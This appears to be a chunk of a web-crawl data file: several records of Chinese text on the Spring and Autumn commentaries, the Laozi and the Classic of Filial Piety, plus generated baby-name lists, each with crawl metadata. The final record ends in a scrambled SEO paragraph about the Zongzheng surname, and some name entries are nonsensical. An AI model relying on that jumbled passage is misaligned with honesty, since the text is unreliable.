三傳 後世咸以為解 春秋 大義之書 孔子作 春秋 以記事為條貫 以大義微言為經緯 其辭微而不顯 其義指深厚 其文為褒貶之辭 諸侯大夫遂不可輕易聞而得也 故文簡而深 義晦而廣 孔子自衛返魯 修明文獻 本願述而不作 然西狩獲麟 端門\n- 春秋 穀梁傳 一名榖梁 春秋 孔子 春秋 之傳也 為 春秋 三傳 之一 列於 十三經 孔子作 春秋 以之授子夏 子夏又授公羊高及榖梁子 榖梁子以己之所學做 春秋 傳 是谓 榖梁傳 榖梁子名赤 字元始 一名喜 又曰名淑 學者於此多有惑焉 授 春秋 經於子夏 再傳至於荀卿 荀卿傳魯申公 申公傳暇丘江公 暇丘江公在漢武帝時 與董仲舒同時\n- 隱公十一年 翬請殺允 隱公大驚 詰而不許 翬見不成 懼允聞此事 而於己不利 故反譖於桓公 桓公聞而使翬弒兄 奪其位 是爲桓公 三年 娶齊襄公妹文姜爲夫人 六年 文姜生長子同 十八年 公與夫人姜 氏 如齊 齊侯與妹通 公遂謫妻 文姜乃告與齊侯 四月 齊君享公 使公子彭生乘公 公薨於車 齊以畏魯 遂誅彭生 左 丘明 春秋 左傳\n- 為係五經添 論語 孝經 周禮 禮記 亦或五經添 周禮 禮記 並析 春秋 為 左 氏 公羊 穀梁 三傳 九經亦立於學官 作開科取士用 宋晁公武言 唐文宗開成年間刻石於國子學 代五經之 春秋 以三傳 添 周禮 禮記 論語 孝經 爾雅 為 十二經 也\n- 弟 天水公呂延 弟 後涼文帝 弟 巴西公呂他 任 左 將軍 石皇后 趙淑媛 長子 後涼靈帝 子 後涼隱王 子 番禾郡公呂弘 子 隴西公呂緯 子 呂覆 西域大都護 晉書 卷一百二十二 載記第二十二 魏書 卷九十五 列傳第八十三 十六國 春秋 卷八十一 後涼錄一 十六國 春秋 別傳 卷十 後涼錄","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/40514\/1\/%E5%B7%A6%E6%B0%8F%E6%98%A5%E7%A7%8B.html","date":"2021-12-03T03:17:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00485.warc.gz","language":"lzh","language_score":0.6664847732,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6664847731590271, \"cmn_Hani_score\": 0.2529864013195038, \"nan_Hani_score\": 0.073530413210392}","num_words":337,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.768,"perplexity_score":500.0,"cluster_detection":1} +{"text":"帛書老子。一套三本(含雕版宋體、雕版漢隸、解說本)。爲尊重作者。僅将雕版宋體免费分享。\n每日更新内容在评论区 请爬楼查阅\n道可道也。非恆道也。名可名也。非恆名也。无 名萬物之始也。有 名萬物之母也。故恆无欲也。㕥觀亓眇。恆有欲也。㕥觀亓所噭。两者同出。異名同胃。玄之有玄。眾眇之門。\n天下皆知美爲美。惡已。皆知善。訿不善矣。有 无之相生也。難 易之相成也。長 短之相刑也。高 下之相盈也。意 聲之相和也。先 後之相隨恆也。是㕥聖人居无爲之事。行不言之教。萬物作而弗始也。爲而弗志也。成功而弗居也。夫唯弗居。是㕥弗厺。\n不上賢。使民不争。不貴難得之貨。使民不爲盜。不見可欲。使民不亂。是㕥聖人之治也。虚其心。實其腹。弱其志。强其骨。恆使民无知无欲也。使夫知不敢弗爲而已。則无不治矣。\n道沖。而用之有弗盈也。潚呵。始萬物之宗。銼其銳。解其紛。和其光。同其尘。湛呵。似或存。吾不知誰子也。象帝之先。\n天地不仁。㕥萬物爲刍狗。聖人不仁。㕥百姓爲刍狗。天地之間。亓猶橐籥與。虚而不淈。蹱而俞出。多聞數窮。不若守於中。\n浴神不死。是胃玄牝。玄牝之門。是胃天地之根。緜緜呵若存。用之不堇。\n天長地乆。天地之所㕥能長且乆者。㕥其不自生也。故能長生。是㕥聖人芮其身而身先。外其身而身存。不㕥其无私與。故能成其私。\n上善若水。水善利萬物而有靜。居眾之所惡。故幾於道矣。居善地。心善潚。予善信。正善治。事善能。蹱善時。夫唯不靜。故无尢。\n㨁而盈之。不若其已。揣而允之。不可長葆之。金玉盈室。莫之守也。貴富而䮦。自遺咎也。功述身芮。天之道也。\n戴營魄抱一。能毋離乎。槫氣至柔。能嬰儿乎。脩除玄藍。能毋疵乎。愛民栝國。能毋㕥知乎。天門啟闔。能爲雌乎。明白四達。能毋㕥爲乎。生之。畜之。生而弗有。長而弗宰。是謂玄德。\n卅輻爲一轂。當其无。有車之用也。埏埴爲器。當其无。有埴之用也。鑿戶牖。當其无。有室之用也。故有之㕥爲利。无之㕥爲用。\n五色使人目䀠。馳騁田臘使人心發狂。難得之貨使人之行方。五味使人之口爽。五音使人耳聾。是㕥聖人之治也。爲腹而不爲目。故厺罷取此。\n寵辱若驚。貴人大梡若身。何謂寵辱若驚。寵之爲下。得之若驚。失之若驚。是謂寵辱若驚。何謂貴人大梡若身。吾所㕥有大梡者。爲吾有身也。及吾无身。有何梡。故貴爲身於爲天下。若可㕥託天下矣。愛㕥身爲天下。女可㕥寄天下。\n視之而弗見也。名之曰微 。聽之而弗聞。名之曰希。㨉之而弗得。名之曰夷。三者不可至計。故混而爲一。一者 其上不攸。其下不忽。尋尋呵不可名也。復歸於无物。是胃无狀之狀。无物之象。是胃忽恍。隨而不見其後。迎而不見其首。執今之道。㕥御今之有。㕥知古始。是胃道紀。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.hxwmzsf.com\/forum\/t214.html","date":"2022-01-23T03:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303956.14\/warc\/CC-MAIN-20220123015212-20220123045212-00654.warc.gz","language":"lzh","language_score":0.5644916296,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5644916296005249, \"cmn_Hani_score\": 0.2552269697189331, \"nan_Hani_score\": 0.09110140800476074, \"wuu_Hani_score\": 0.04010939970612526, \"jpn_Jpan_score\": 0.030822081491351128, \"yue_Hani_score\": 0.01225812267512083}","num_words":27,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.56,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.姓韩男孩取名大全\n爱国 瑷交 瑷鹂 安琦 翱宇 傲贤 奥成 奥晟 澳成 百宸 百霁 百轩 百洲 柏妮 邦连 帮喜 镑爨 宝钿 宝寰 宝朗 宝宁 宝善 宝石 宝锡 宝依 宝亦 宝逸 宝溢 宝渝 宝资 保平 本才 弼泓 碧豪 壁如 卞天 冰韵 兵宇 秉辰 秉霖 秉儒 秉彤 秉桐 秉烨 秉佑 炳跹 炳勋 伯均 伯尧 伯因 帛呈 泊尧 博傲 博泓 博伟 博先 卜尧 才良 材百 材宝 材材 材财 材彩 材苍 材长 材畅 材队 材二 材丰 材观 材际 材乐 材木 材上 材失 材体 材听 材雄 材一 材义 材艺 材鹦 材钻 材昨 财蘼 财丘 采砾 采珊 采娱 彩伶 彩娱 昌弘 昌亮 昌旺 长宝 长苍 长郴 长队 长丰 长根 长观 长桄 长桓 长际 长桕 长桔 长栗 长林 长孪 长体 长听 长梃 长栩 长杨 长尧 长艺 长鹦 长桢 长桌 长钻 常亮 嫦月 畅焱 超然 朝弘 朝伟 朝玮 朝优 朝政 潮玮 琛琛 辰行 辰尧 宸光 晨搏 晨光 丞博 成杰 成奎 成信 成秀 成哲 承昊 承瑾 承君 承希 承熙 诚正 程光 充充 楚鹤 楚煜 齼镪 矗德 传兴 春风 春烽 春宁 春展 纯德 纯一 丛如 爨德 翠景 皴宏 大粪 大卫 戴璞 戴远 丹茗 道民 德惠 德生 德勇 迪名 地广 丁一 叮鏻 叮麟 叮铃 叮聆 鼎德 鼎尧 东宸 东冬 东峰 东兴 东煊 东烜 冬德 冬靓 斗焕 恩尧 方渊 芳锦 芳瑾 芳晓 芳秀 芳雅 芳渊 芳园 芳卓 芳姿 飞旭 飞逸 飞越 菲林 纷纷 玢栗 玢娱 丰沣 丰庆 丰伟 丰阳 丰羽 丰远 烽亮 凤杰 凤菊 凤清 凤喜 凤羽 凤云 奉辰 奉良 孚昌 福君 福泺 福溶 福渊 复生 馥德 馥凝 馥竹 伽仕 改凤 格格 根明 公强 贯霖 贯尧 光明 广宇 炅尧 炅攸 贵菊 贵香 贵元 桂菊 桂尧 国宾 国典 国东 国冬 国董 国懂 国洞 国胨 国华 国卉 国会 国利 国旗 国仕 国五 国希 国熙 国宇 海菊 海全 海厅 海廷 海亭 海庭 海霆 海艇 海闻 涵元 罕菡 汉军 汉均 琀宝 濠声 昊君 昊良 昊蒙 昊男 昊洋 昊育 浩军 浩民 浩奇 浩渊 淏宇 合心 弘方 红波 红海 红敏 红伟 红霄 红钊 宏青 宏威 宏伟 宏玮 洪坤 鸿坤 鸿锟 鸿权 厚同 虎林 华建 华强 怀尧 欢喜 焕菊 焕荣 晃仲 卉尧 会理 慧聪 慧坤 慧骊 慧鹂 慧璃 慧黧 慧逦 慧利 慧俐 慧俪 慧郦 慧砾 慧詈 慧清 慧雯 慧渊 慧竹 蕙阳 及尧 吉珉 吉名 吉田 计平 纪渊 季尧 季攸 济冰 济漫 济珊 继荣 加旭 夹仕 佳凤 佳杰 佳静 佳澜 佳黎 佳亮 佳龙 佳淼 佳男 佳诺 佳平 佳启 佳顺 佳潼 佳星 佳阳 佳茵 佳娱 佳运 佳泽 佳志 迦仕 枷仕 珈仕 家稷 家琦 家希 家熙 葭仕 嘉博 嘉隽 嘉麒 嘉事 嘉希 嘉星 简宇 建春 建峰 建军 建岚 建龙 建清 建荣 建希 建信 建行 建尧 建乙 建墉 剑秋 渐暖 鉴男 江瀚 江全 江尧 姣月 孑孓 金德 金孚 金娇 金杰 金诺 金鹏 金桥 金青 金荣 金瑞 金圣 金石 金彤 金瞳 金伟 金卫 金鑫 金蓄 金煊 金炫 金言 金晔 金毓 津晶 锦鹏 锦晟 锦田 锦星 锦尧 瑾竹 京呈 京帆 京霖 晶元 景坤 景涛 景伟 敬华 敬松 敬元 敬原 静鹂 静淇 静郯 静旋 炯光 久翔 孓孑 军科 君尧 均尧 俊刚 俊宏 俊吉 俊奎 俊莲 俊妮 俊平 俊强 俊清 俊庆 俊希 俊彦 俊易 俊征 俊志 峻豪 峻宏 峻洪 峻霖 骏宏 骏清 骏伟 竣仇 竣逻 开康 铠宇 锴博 柯颉 珂睿 科成 可妮 可卿 可雯 可贤 可盈 克庆 克尧 旷锘 奎发 奎全 坤宸 坤德 昆宇 昆雨 焜青 来松 兰浩 兰谱 蓝萱 乐辏 乐华 雷刚 磊荆 磊旌 磊晶 磊兢 磊敬 磊靖 磊静 黎明 礼禅 礼程 礼谣 礼耀 力了 力为 力尧 历尧 立才 立冲 立防 立福 立章 立志 丽枫 丽清 利清 跞耀 粮宇 尥丘 烈嘉 林峰 林兴 林翼 霖宇 灵妃 凌薇 凌伊 翎茜 龙博 龙毅 龙元 露德 露萱 鲁越 陆征 路莎 璐驰 璐达 璐帆 璐慧 璐如 璐竹 鹭鸶 略妃 略菲 伦吉 罗刘 罗素 泺岚 洛岚 么尧 梅灿 梅华 梅羽 美彩 美晶 美琪 美微 美子 孟安 孟呈 孟江 孟力 孟龙 孟洋 梦飞 梦恺 梦希 梦宇 妙游 旻勉 旻欣 敏 敏敏 敏陶 敏萱 名百 名宝 名财 名彩 名苍 名谗 名长 名畅 名队 名二 名丰 名观 名和 名际 名乐 名利 名山 名失 名手 名体 名天 名听 名雄 名秀 名一 名义 名艺 名鹦 名钻 名昨 明昂 明昌 明泛 明瑞 明善 明廷 明贤 明欣 明蓄 明尧 明臻 明忠 鸣皋 茗毅 墨纯 墨迪 墨涵 墨秋 墨雯 墨轩 墨严 默林 木楷 木田 沐岑 沐岚 沐尧 南南 楠楠 念宗 凝慧 凝香 凝潇 锘赆 锘旷 培博 培荣 培义 沛辰 沛甫 沛彤 佩辰 佩呈 佩霖 佩凝 佩杉 佩佑 佩芸 谱馨 期勇 齐尧 奇隆 奇门 奇特 奇烨 淇旭 启龙 启明 启尧 起平 荠乐 千慧 签锘 前前 乾宏 乾康 茜竹 俏眠 翘楚 翘蔻 沁拧 青锦 青静 青眉 青莓 青繻 青瑞 青睿 青馨 青瑜 青谕 清锦 清睿 清雯 清馨 清秀 清旭 清尧 晴晴 庆冰 庆瑾 庆晶 庆镜 庆君 庆露 庆敏 庆宁 庆平 庆歧 庆秋 庆炜 庆雯 庆娴 庆香 庆欣 庆信 庆雨 庆珠 琼仪 秋吉 秋平 秋生 秋伟 日闰 日润 荣汉 榕婕 如珉 如恬 儒生 儒雅 汝佳 汝弦 蕊莲 锐萁 锐骑 锐琦 锐琪 锐绮 锐尧 瑞刚 瑞康 瑞祥 瑞亚 瑞永 润嘉 润龙 润明 润培 润升 若辰 若林 若阳 若炀 若尧 偌宝 赛飞 山乞 姗秀 善福 善尧 善宇 赏薰 尚呈 尚明 蛸眠 少虎 少慧 少君 少龙 少游 社宁 升博 生富 胜博 胜雄 胜尧 胜钟 省村 圣希 盛荣 诗诚 诗程 诗慧 诗砾 诗墨 诗泉 诗娠 诗洋 诗娱 十八 石宝 识麒 矢德 士彬 士林 世杯 世冰 世博 世林 世龙 世中 仕尧 仕永 守富 守任 首富 书彩 书丹 书华 书杰 书敏 书启 书荣 书森 抒言 抒育 淑彩 淑静 淑湘 淑芝 舒宁 曙如 树才 树槐 树坤 树涛 树雯 树忠 帅博 双屹 双泽 水德 顺平 顺勇 思帆 思良 思萌 思依 思盈 思影 思映 思月 巳德 松柏 松宸 松德 松峰 松淏 松峻 松昆 松岍 松峡 松岫 松岩 松佑 松泽 松芝 淞岳 素昌 太香 太新 腾飞 缇达 天波 天成 天聪 天福 天富 天歌 天鸿 。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.haixiwh.com\/k\/55434.html","date":"2022-01-18T08:04:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300805.79\/warc\/CC-MAIN-20220118062411-20220118092411-00425.warc.gz","language":"lzh","language_score":0.3998666108,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39986661076545715, \"cmn_Hani_score\": 0.3902844786643982, \"nan_Hani_score\": 0.17399348318576813, \"jpn_Jpan_score\": 0.021998321637511253}","num_words":890,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.336,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.4,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《孝经》中国古代儒家的伦理学著作。传说是孔子自作,但南宋时已有人怀疑是出于后人附会。清代纪昀在《四库全书总目》中指出,该书是孔子\"七十子之徒之遗言\",成书于秦汉之际。自西汉至魏晋南北朝,注解者及百家。现在流行的版本是唐玄宗李隆基注,宋代邢昺疏。全书共分18章。\n纳兰性德 郑燮 白朴 马致远 王安石 黄庭坚 苏轼 杨万里 刘克庄 陆游 欧阳修 朱熹 陈著 辛弃疾 张孝祥 秦观 吴潜 刘辰翁 范仲淹 晏殊 吴文英 晏几道 朱敦儒 柳永 周邦彦 程垓 贺铸 李清照 周敦颐 文天祥 岳飞 李煜 陆龟蒙 韦应物 李商隐 元稹 刘禹锡 齐己 李白 白居易 杜甫 张籍 姚合 许浑 杜牧 皎然 刘长卿 贯休 贾岛 温庭筠 孟郊 王维 韩愈 王建 钱起 岑参 罗隐 郑谷 杜荀鹤 方干 孟浩然 戴叔伦 权德舆 韩偓 皮日休 张祜 韦庄 皇甫冉 张乔 张说 吴融 卢纶 李峤 王昌龄 顾况 宋之问 高适 司空图 李端 赵嘏 柳宗元 张九龄 李贺 韩翃 马戴 王勃 贺知章 郦道元 陶渊明 屈原 左丘明 司马迁 曹操 曹植 诸葛亮 卓文君 更多>>","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/zzcxw.com\/guwen\/xiaojing\/","date":"2024-04-23T23:47:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818835.29\/warc\/CC-MAIN-20240423223805-20240424013805-00412.warc.gz","language":"lzh","language_score":0.4228805304,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42288053035736084, \"cmn_Hani_score\": 0.4184580445289612, \"wuu_Hani_score\": 0.086826853454113, \"nan_Hani_score\": 0.06294866651296616}","num_words":98,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宗政德鑫 宗政晓宁 宗政亦祁 宗政善淑 宗政健康 宗政树君 宗政逸松 宗政昱麟 宗政可淑 宗政韦利 宗政胜苏 宗政域 宗政诗轩 宗政登高 宗政功易 宗政雨纯 宗政祈驸 宗政权道 宗政晨光 宗政炳信 宗政靖柃 宗政子款 宗政宇河 宗政小晶 宗政沐原 宗政守雷 宗政渝蕊 宗政潼钿 宗政琦禧 宗政乙飚 宗政书桁 宗政永润 宗政俊希 宗政杰劝 宗政霁航 宗政天旺 宗政瑾波 宗政泽铭 宗政春铃 宗政祖明 宗政鹭淋 宗政家声 宗政汉尉 宗政禧嘉 宗政金果 宗政皓程 宗政朝龄 宗政德宽 宗政天晓 宗政鸿汶 宗政小勇 宗政凤杰 宗政素慈 宗政世民 宗政政阳 宗政一童 宗政誉筠 宗政小昕 宗政周 宗政中权 宗政迪 宗政成健 宗政培均 宗政浩淋 宗政俊彪 宗政彦珏 宗政俊穸 宗政平淳 宗政伟豪 宗政筑同 宗政潮勇 宗政琰杰 宗政希汝 宗政午鑫 宗政皓庭 宗政紫希 宗政君豪 宗政饶 宗政惠芹 宗政铭海 宗政辰峰 宗政支炎 宗政侣滢 宗政奕嘉 月娇:娇,出自汉高祖刘邦的后代河间献王刘德,希望对大家有所帮助。表示的是小女孩的可爱、美丽的含义,宗政六智 宗政伯华 宗政子成 宗政祁语 宗政雁秋 宗政心众 宗政雨芯 宗政国通 宗政冬烁 宗政森睿 宗政付浩 宗政后诚 宗政希妤 宗政夏岭 宗政卫卓 宗政海桐 宗政有 宗政进涛 宗政爱清 宗政柏延 宗政海磊 宗政星媲 宗政颍 宗政迎华 宗政硕果 宗政帛慷 宗政惠兰 宗政熙敏 宗政胜佛 宗政彦颜 宗政清岩 宗政玉晶 宗政真 宗政带勇 宗政筠宜 宗政琦雯 宗政永山 宗政慧茜 宗政琼月 宗政岩岩 宗政子旗 宗政晓涛 宗政荧凤 宗政崇慧 宗政孙强 宗政梓 宗政新城 宗政字慷 宗政桂芹 宗政易奚 宗政乾柔 宗政一强 宗政思仪 宗政秋然 宗政朝灿 宗政书云 宗政楚璇 宗政若榛 宗政泽智 宗政孟泽 宗政芊璐 宗政若宸 宗政玺焱 宗政忱亦 宗政良才 宗政冰琦 宗政洪云 宗政乔保 宗政明姝 宗政敛涵 宗政小霜 宗政宇峰 宗政子俊 宗政岂 宗政寿章 宗政子竣 宗政远乐 宗政烁娇 宗政羽婕 宗政苏玛 宗政凯佳 宗政腾湍 宗政煜玟 宗政赵勇 宗政茜霓 宗政长生 宗政武举 宗政昊伦 宗政晓荟 宗政运昊 宗政瑷茏 宗政雅冰 宗政权乐 宗政亮程 宗政舒纹 宗政忍 宗政根岩 宗政丽田 宗政巧莲 宗政旭诺 宗政渌 宗政五霜 宗政禹卿 宗政永怔 宗政秋旭 宗政予 宗政彤月 宗政咏颀 宗政栎 宗政小榆 宗政树容 宗政美晨 宗政菜岭 宗政涔禧 宗政泽拉 宗政传风 宗政沐佳 宗政骞醇 宗政勋南 宗政渝海 宗政继辉 宗政邑 宗政灵夕 宗政桁 宗政煜夏 宗政奇霖 宗政研迪 宗政斌琪 宗政隐仲 宗政昊龙 宗政铭康 宗政闲仪 宗政依梦 宗政昱苹 宗政漉霖 宗政雯瑾 宗政沂禧 宗政成淋 宗政浩哲 宗政雨谖 宗政择霖 宗政伟秋 宗政浩邦 宗政雯渝 宗政爱珍 宗政海彬 宗政欣洋 宗政中宏 宗政启楷 宗政泓涨 宗政李妮 宗政育冕 宗政巧晴 宗政永靓 宗政多寒 宗政穆君 宗政晨阅 宗政上涵 宗政益宁 宗政凌轶 宗政浩嘉 宗政忠彦 宗政琪萱 宗政玮煊 宗政群姗 宗政展翔 宗政思纤 宗政捷敏 宗政博源 宗政煊淇 宗政帅月 宗政铭宇 宗政紫贤 宗政近山 宗政柯 宗政正海 宗政祖越 宗政易天 宗政昱晟 宗政冠伟 宗政敏通 宗政弈霆 宗政文可 宗政焙萌 宗政泽平 宗政思昱 宗政晗笛 宗政虞孝 宗政俊皓 宗政敏诗 宗政振雄 宗政锲鸿 宗政芸夕 宗政紫瑜 宗政兴慷 宗政彬杰 宗政秋柠 宗政寰 宗政海乜 宗政晓珍 宗政艾灵 宗政集慧 宗政兆宝 宗政志岩 宗政隐行 宗政至慧 宗政事昭 宗政浩懿 宗政久城 宗政静韵 宗政永菊 宗政天靖 宗政宇纯 宗政楚慧 宗政一鑫 宗政硕晨 宗政梅凤 宗政隐月 宗政林椿 宗政楚欣 宗政屁屁 宗政选华 宗政子凌 宗政庆丰 宗政东波 宗政丽翔 宗政才渊 宗政恩希 宗政国家 宗政程龙 宗政童舒 宗政董伟 宗政禹衡 宗政浩雨 宗政梦杰 宗政贤哲 宗政八十 宗政晓钧 宗政畅淼 宗政宏志 宗政贲 宗政子封 宗政宇承 宗政晶今 宗政露茜 宗政喜顺 宗政新蕙 宗政宝玮 宗政成泉 宗政姝柳 宗政嘉钰 宗政中微 宗政彦聪 宗政晨中 宗政卫滨 宗政卫林 宗政欣遥 宗政强圣 宗政木君 宗政玮彬 宗政晓铭 宗政昶玮 宗政财呈 宗政明光 宗政俊琪 宗政伯典 宗政嘉阳 宗政坚超 宗政致 宗政小航 宗政麟惠 宗政晨璐 宗政晓翠 宗政宜杨 宗政哲隽 宗政杭岐 宗政明杰 宗政成典 宗政炜庭 宗政昱晖 宗政颦慧 宗政楷钜 宗政鼎涵 宗政春菊 宗政宏烈 宗政俞冕 宗政久理 宗政盈霖 宗政宏荣 宗政盈静 宗政二宽 宗政禹天 宗政杨杨 宗政莞小 宗政茂 宗政煜翰 宗政亚璞 宗政晓明 宗政果儿 宗政晟珂 宗政宇石 宗政祺续 宗政灵珊 宗政泉睿 宗政巧爽 宗政山耀 宗政育雅 宗政续 宗政连川 宗政佩灵 宗政鹏鹆 宗政嗣成 宗政金烽 宗政鑫嘉 宗政耀哲 宗政世君 宗政涵烁 宗政启晶 宗政诗扬 宗政媲 宗政小鱼 宗政旖蕊 宗政念宗 宗政品灼 宗政梓卿 宗政璧光 宗政加惠 宗政银华 宗政洁盈 宗政薇雯 宗政清宇 宗政殷春 宗政忠平 宗政永耕 宗政俊骄 宗政建淑 宗政斐凡 宗政俊铣 宗政依含 宗政岭 宗政忠元 宗政克元 宗政弦初 宗政鑫月 宗政泽煊 宗政良彬 宗政建宇 宗政俐臻 宗政惟新 宗政绍焱 宗政影影 宗政永聪 宗政业景 宗政锦旭 宗政奕浩 宗政盂珉 宗政新勇 宗政俊衡 宗政泽鸿 宗政艺萱 宗政翱杨 宗政笑伶 宗政曼果 宗政勇桂 宗政淇 宗政烁柔 宗政末 宗政煜心 宗政果骏 宗政文首 宗政嘉成 宗政健华 宗政狗 宗政馨缆 宗政菡纹 宗政成奎 宗政咏欣 宗政三妮 宗政贵 宗政余嘉 宗政承柯 宗政靖苑 宗政志蚊 宗政滢羽 宗政金帅 宗政太乙 宗政羽轩 宗政姿酥 宗政沐香 宗政俊兰 宗政锦烨 宗政秦松 宗政旺财 宗政义庆 宗政雨熙 宗政女骊 宗政振瑜 宗政保杰 宗政灵坤 宗政赛男 宗政雯慧 宗政仲郢 宗政子未 宗政成栩 宗政隐心 宗政卓静 宗政昊静 宗政尚鹏 宗政玉振 宗政天棚 宗政新烷 宗政宏利 宗政诚诚 宗政槟 宗政斌译 宗政仪楠 宗政邦莎 宗政依蕊 宗政飞杨 宗政笑兰 宗政运淑 宗政大中 宗政爱冬 宗政博赫 宗政毓麟 宗政月清 宗政金雷 宗政慧如 宗政质童 宗政鑫铨 宗政小容 宗政中崃 宗政楚含 宗政时涛 宗政峻毅 宗政心卓 宗政柯言 宗政木笔 宗政琨瀚 宗政健桓 宗政荣强 宗政智峰 宗政泽翔 宗政键平 宗政棱榆 宗政跻昌 宗政昌富 宗政土 宗政晓京 宗政钇麟 宗政靖升 宗政莲凤 宗政风秀 宗政宣泽 宗政诗人 宗政晓骊 宗政勇丰 宗政惠群 宗政正外 宗政书星 宗政宣宇 宗政彦欣 宗政树传 宗政李承 宗政春雨 宗政书民 宗政俊生 宗政兆成 宗政鹦一 宗政江谢 宗政梦璇 宗政康耀 宗政刘军 宗政恒欣 宗政殊 宗政迤 宗政天弈 宗政友唯 宗政洪岩 宗政雅涵 宗政祯羚 宗政连庆 宗政紫茵 宗政建程 宗政睿贤 宗政咏凡 宗政蘅彩 宗政凤晴 宗政炳发 宗政世海 宗政安铃 宗政侦 宗政山虎 宗政立涛 宗政述 宗政小眉 宗政波涛 宗政梦娇 宗政禹杉 宗政久娣 宗政蔷 宗政润汇 宗政成基 宗政佳洛 宗政可巧 宗政安杼 宗政筱诺 宗政盈利 宗政煊杼 宗政辰樨 宗政渝平 宗政叶萱 宗政海葳 宗政玟新 宗政杨 宗政冠畅 宗政律钱 宗政睿珂 宗政舒童 宗政鼎彬 宗政语凝 宗政凯匀 宗政新默 宗政成伟 宗政锦澳 宗政叶波 宗政依桐 宗政烈火 宗政信韩 宗政华东 宗政日亦 宗政聆藐 宗政锦乔 宗政嵋友 宗政菁璐 宗政方国 宗政圣杰 宗政学兰 宗政进山 宗政文钺 宗政伊芸 宗政家兴 宗政传东 宗政彩绒 宗政婉阁 宗政树慧 宗政雨乐 宗政梦溪 宗政慧欣 宗政岳平 宗政祥彦 宗政贤慧 宗政思妤 宗政怛锐 宗政宏湘 宗政轶智 宗政养贤 宗政洛冰 宗政湘媚 宗政二德 宗政樨 宗政浩卓 宗政妨彗 宗政振贵 宗政熙桠 宗政凤敏 宗政森钜 宗政玺海 宗政蓓倬 宗政盼畔 宗政坡 宗政戴 宗政金锘 宗政忠巍 宗政烁凝 宗政元昊 宗政清朗 宗政斯予 宗政杜来 宗政子愚 宗政凯熙 宗政兆苗 宗政碧芮 宗政增强 宗政依铭 宗政成善 宗政佳泉 宗政海学 宗政冯馨 宗政仁伟 宗政宇程 宗政文龙 宗政紫芸 宗政思耀 宗政马爱 宗政典博 宗政壮壮 宗政起凤 宗政子衅 宗政银生 宗政丹熠 宗政静如 宗政泽桓 宗政勋仑 宗政永鸿 宗政泓汶 宗政建勋 宗政恩道 宗政淙元 宗政琪嘉 宗政永冲 宗政友嘉 宗政昱珲 宗政海量 宗政奕桥 宗政聿沣 宗政可曼 宗政昀司 宗政靖柔 宗政红兵 宗政长洪 宗政宣臣 宗政金桥 宗政红博 宗政笨锋 宗政蓝鹏 宗政锡波 宗政粒 宗政晨荷 宗政润资 宗政吉心 宗政俊淇 宗政显边 宗政存凡 宗政兰皖 宗政更 宗政嘉会 宗政炎乐 宗政庆余 宗政培君 宗政吉月 宗政善应 宗政小慧 宗政消 宗政辰辰 宗政璐海 宗政金洋 宗政鸿剑 宗政文阅 宗政热 宗政莺歌 宗政文毅 宗政文缤 宗政炳旭 宗政勃远 宗政瀛 宗政煜嘉 宗政丛磊 宗政智敏 宗政敏渝 宗政晴枫 宗政欣珍 宗政泷 宗政歧风 宗政焓 宗政骁骁 宗政睿国 宗政益帆 宗政到钧 宗政媚玫 宗政理 宗政稹山 宗政楷贤 宗政湘楠 宗政奇展 宗政询 宗政家辉 宗政姬舒 宗政迦悉 宗政汶禧 宗政浩一 宗政继跃 宗政明忻 宗政天敏 宗政建育 宗政探 宗政光生 宗政晨功 宗政祉齐 宗政植 宗政钲鸿 宗政野乔 宗政若彤 宗政宇涛 宗政学印 宗政胜炎 宗政治锐 宗政家伟 宗政坚峰 宗政江麟 宗政杰深 宗政艺澄 宗政帛锃 宗政淑惠 宗政琦锐 宗政成泰 宗政来 宗政晓宏 宗政和 宗政兴隆 宗政天翊宗政(Zōngzhè韵母为开口呼\"ao\",宗政姓男孩怎么起名?下面小编带来宗政姓男孩名字大全属猪,ng)姓源流单纯,西汉藏书家。得姓始祖为刘德,月,则表示月亮的意思,属于以官职称谓为氏。源于祁姓,读音也十分的响亮。也代表这是一个温柔的姑娘。\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/908.html","date":"2019-12-13T08:38:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540551267.14\/warc\/CC-MAIN-20191213071155-20191213095155-00145.warc.gz","language":"lzh","language_score":0.8445994258,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8445994257926941, \"nan_Hani_score\": 0.07839512079954147, \"cmn_Hani_score\": 0.04075983166694641, \"jpn_Jpan_score\": 0.0305179376155138}","num_words":797,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.848,"perplexity_score":500.0,"cluster_detection":1} 